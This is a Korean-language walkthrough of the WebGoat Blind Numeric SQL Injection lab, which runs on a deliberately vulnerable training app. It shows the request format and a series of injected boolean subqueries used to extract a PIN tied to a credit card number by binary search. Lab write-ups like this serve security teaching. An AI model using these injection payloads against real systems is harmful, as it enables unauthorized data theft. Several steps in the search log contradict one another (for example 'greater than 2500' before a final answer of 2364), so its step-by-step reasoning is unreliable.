WebGoat(웹고트) Blind Numeric SQL Injection
pins 테이블에서 cc_number 컬럼 값이 1111222233334444인 pin 컬럼 값을 찾으면 문제해결
(1) Window xp에서 http://victim:8080/WebGoat/attack 사이트로 이동하여 목록에서 Blind Numeric SQL Injection을 찾아 이동합니다. (webgoat / webgoat)
(2) 사용자 값이 서버로 전달되는 과정을 확인합니다.
=> Account Number: 계좌번호 입력
=> 전달과정은
POST attack?Screen=35&menu=1100
accunt_number=101&Submit=Go!
=> 서버 내부에서는
select * from accounts where account_number=101
존재하는 경우 Account number is valid. / 존재하지 않는 경우 Invalid account number.
(3) 공격자가 원하는 내용을 얻기 위해 값을 조작합니다.
공격자가 원하는 것은 cc_number가 1111222233334444인 pin 컬럼 값!
공격 쿼리 형식은 다음과 같습니다.
입력값 > select * from accounts where account_number=101 and (select pin from pins where cc_number='1111222233334444') = 입력 값
=> pins 테이블에서 cc_number가 1111222233334444인 pin값을 조회하여 그 값이 입력 값과 동일한지 확인
=> 입력 값이 찾고자 하는 pin값과 동일하면 Account number is valid.
=> 입력 값이 찾고자 하는 pin값과 동일하지 않다면 Invalid account number.
(3)-1 공격자가 원하는 정보를 조작하는 쿼리를 추가해봅니다. 해당 입력값을 넣고 GO를 클릭합니다.(빨간색 입력)
입력값 > select * from accounts where account_number=101 and (select pin from pins where cc_number='1111222233334444') > 2000
=> 찾고자 하는 pin값은 2000보다 큽니다.
(3)-2 해당 입력값을 넣고 GO를 클릭합니다.(빨간색 입력)
입력값 > select * from accounts where account_number=101 and (select pin from pins where cc_number='1111222233334444') > 3000
=> 찾고자 하는 pin값은 3000보다 작습니다.
(3)-3 위와 같은 방식으로 확인하면서 값을 찾습니다.
> 2500 입력 시 동일하지 않음 => 2500 초과
> 2300 입력 시 동일함 => 2300 초과
> 2350 입력 시 동일함 => 2350 초과
> 2400 입력 시 동일하지 않음 => 2400 초과
> 2370 입력 시 동일하지 않음 => 2370 초과
> 2360 입력 시 동일함 => 2360 초과
> 2365 입력 시 동일하지 않음 => 2365 미만
> 2363 입력 시 동일함 => 2363 초과
= 2364 입력 시 동일함 => pin 값은 2364
(4) 결과확인
=> 2364 입력 후 Go를 클릭하면 문제가 해결됩니다.